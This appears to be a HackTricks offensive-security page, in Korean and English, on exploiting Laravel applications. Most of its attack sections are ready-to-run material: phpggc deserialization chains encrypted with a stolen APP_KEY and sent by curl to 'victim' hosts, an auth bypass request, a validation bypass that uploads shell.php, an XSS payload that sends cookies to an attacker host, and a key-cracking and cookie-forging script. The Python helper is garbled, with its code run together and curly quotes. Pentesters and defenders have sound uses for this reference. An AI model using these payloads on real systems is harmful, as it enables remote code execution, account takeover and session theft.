Laravel

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Laravel SQLInjection

자세한 내용은 다음을 참조하세요: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel >=5.6)

Laravel은 내부적으로 AES-256-CBC(또는 GCM)와 HMAC 무결성을 사용합니다 (Illuminate\Encryption\Encrypter). 최종적으로 클라이언트에 전송되는 원시 암호문은 JSON 객체의 Base64와 같은 형태입니다:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true)는 기본적으로 평문을 serialize() 하며, 반면 decrypt($payload, $unserialize=true)는 복호화된 값을 자동으로 unserialize() 합니다. 따라서 32바이트 비밀값 APP_KEY를 알고 있는 공격자는 암호화된 PHP 직렬화 객체를 만들어 매직 메서드 (__wakeup, __destruct, …)를 통해 RCE를 획득할 수 있습니다.

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

생성된 문자열을 취약한 decrypt() sink (route param, cookie, session, …)에 주입하세요.


laravel-crypto-killer 🧨

laravel-crypto-killer은 전체 과정을 자동화하고 편리한 bruteforce 모드를 제공합니다:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

이 스크립트는 CBC 및 GCM payload를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다.


실제 취약한 패턴

ProjectVulnerable sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

익스플로잇 워크플로우는 항상 다음과 같습니다:

  1. 32-byte APP_KEY를 획득하거나 brute-force로 찾아냅니다.
  2. PHPGGC로 가젯 체인(예: Laravel/RCE13, Laravel/RCE9 또는 Laravel/RCE15)을 구성합니다.
  3. 직렬화된 가젯을 laravel_crypto_killer.py와 복구한 APP_KEY로 암호화합니다.
  4. 암호문(ciphertext)을 취약한 decrypt() sink(route parameter, cookie, session …)에 전달하여 RCE를 유발합니다.

아래에는 위에서 언급한 각 실제 CVE에 대한 전체 공격 경로를 보여주는 간결한 one-liners(한 줄 명령)가 나옵니다:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

새로운 Laravel 응답은 최소 하나의 암호화된 쿠키(XSRF-TOKEN 및 일반적으로 laravel_session)를 설정하기 때문에, public internet scanners (Shodan, Censys, …) leak millions of ciphertexts. 이 암호문들은 오프라인에서 공격할 수 있습니다.

Synacktiv (2024-2025)가 발표한 연구의 주요 결과:

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

사설 Go 도구 nounours는 AES-CBC/GCM bruteforce 처리량을 초당 약 1.5 billion tries/s 수준으로 끌어올려 전체 데이터셋 크래킹을 <2 minutes로 단축합니다.

CVE-2024-52301 – HTTP argv/env override → auth bypass

PHP의 register_argc_argv=On 설정(많은 배포판에서 일반적)일 때, PHP는 쿼리 문자열에서 파생된 HTTP 요청용 argv 배열을 노출합니다. 최근 Laravel 버전은 이러한 “CLI-like” 인자들을 파싱하고 런타임에 --env=<value>를 존중했습니다. 이로 인해 URL에 해당 인자를 덧붙이는 것만으로 현재 HTTP 요청의 프레임워크 환경을 전환할 수 있습니다:

  • Quick check:

  • Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.

  • Impact example (business logic trusting a special env):

  • If the app contains branches like if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:

  • POST /login?--env=preprod

  • Notes:

  • Works per-request, no persistence.

  • Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.

  • Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.

  • Mitigations:

  • Disable register_argc_argv for PHP-FPM/Apache.

  • Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to app()->environment() in production routes.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – 와일드카드 파일 검증 우회 (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 및 12.0.0–12.1.0에서 조작된 multipart 요청이 files.* / images.*에 붙은 규칙을 완전히 우회할 수 있습니다. 와일드카드 키를 확장하는 파서가 공격자가 제어하는 플레이스홀더(예: __asterisk__ 세그먼트 사전 채우기)에 혼동될 수 있으므로, 프레임워크가 image, mimes, dimensions, max 등을 전혀 실행하지 않고 UploadedFile 객체를 하이드레이트할 수 있습니다. 악성 블롭이 Storage::putFile*에 들어가면 HackTricks에 이미 나열된 파일 업로드 원시( web shells, log poisoning, signed job deserialization, … )로 피벗할 수 있습니다.

패턴 탐지

  • 정적 분석: rg -n "files\\.\*" -g"*.php" app/ 또는 FormRequest 클래스에서 rules()files.*를 포함하는 배열을 반환하는지 검사.
  • 동적 분석: Xdebug 또는 Laravel Telescope로 Illuminate\Validation\Validator::validate()에 훅을 걸어 프리프로덕션 환경에서 취약 규칙에 도달하는 모든 요청을 로깅.
  • 미들웨어/라우트 검토: 다중 파일을 처리하는 엔드포인트(아바타 업로더, 문서 포털, 드래그 앤 드롭 컴포넌트)는 files.*를 신뢰하는 경향이 있음.

실전 익스플로잇 워크플로

  1. 정상 업로드를 캡처하고 Burp Repeater에서 재생.
  2. 동일한 파트를 복제하되 필드 이름을 변경해 이미 플레이스홀더 토큰을 포함하도록 하거나(예: files[0][__asterisk__payload]) 다른 배열을 중첩(files[0][alt][0])합니다. 취약한 빌드에서는 두 번째 파트가 검증되지 않지만 여전히 UploadedFile 항목이 됩니다.
  3. 위조한 파일을 PHP 페이로드(shell.php, .phar, polyglot)로 지정하고 애플리케이션이 그것을 웹에서 접근 가능한 디스크에 저장하도록 강제합니다(일반적으로 php artisan storage:link가 활성화된 경우 public/).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


체이닝할 가치가 있는 에코시스템 패키지 취약점 (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:

  • composer.lock lists lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== is accepted instead of rejected, showing filter validation was bypassed.

Laravel 팁

디버깅 모드

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

CVE-2024-13918 / CVE-2024-13919 – Whoops 디버그 페이지의 reflected XSS

  • 영향받는 버전: Laravel 11.9.0–11.35.1 with APP_DEBUG=true (either globally or forced via misconfigured env overrides like CVE-2024-52301).
  • 원리: Whoops가 렌더링하는 모든 처리되지 않은 예외는 요청/라우트의 일부를 without HTML encoding하여 반영하므로, 라우트나 요청 파라미터에 <img src> / <script>를 주입하면 인증 전에 응답에 저장되는 XSS가 발생합니다.
  • Impact: steal XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit _ignition/execute-solution in victim sessions, or chain with passwordless dashboards that rely on cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.

Fingerprinting & exposed dev endpoints

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

  • /_ignition/health-check → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
  • /_debugbar → Laravel Debugbar assets; often indicates debug mode.
  • /telescope → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
  • /horizon → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel은 쿠키와 다른 자격증명을 암호화하는 데 사용하는 APP를 .env라는 파일에 저장하며, 이 파일은 /../.env 같은 경로 순회로 접근할 수 있다.

Laravel은 에러가 발생하고 디버그가 활성화된 경우, 디버그 페이지에 이 정보를 표시하기도 한다.

Laravel의 비밀 APP_KEY를 사용하면 쿠키를 복호화하고 재암호화할 수 있다:

쿠키 복호화

쿠키 복호화/암호화 도우미 (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel 역직렬화 RCE

취약한 버전: 5.5.40 및 5.6.x부터 5.6.29까지 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

다음에서 역직렬화 취약점 관련 정보를 확인할 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

다음 리포지토리를 사용해 테스트하고 익스플로잇할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
또는 metasploit으로 익스플로잇할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

또 다른 역직렬화 취약점: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>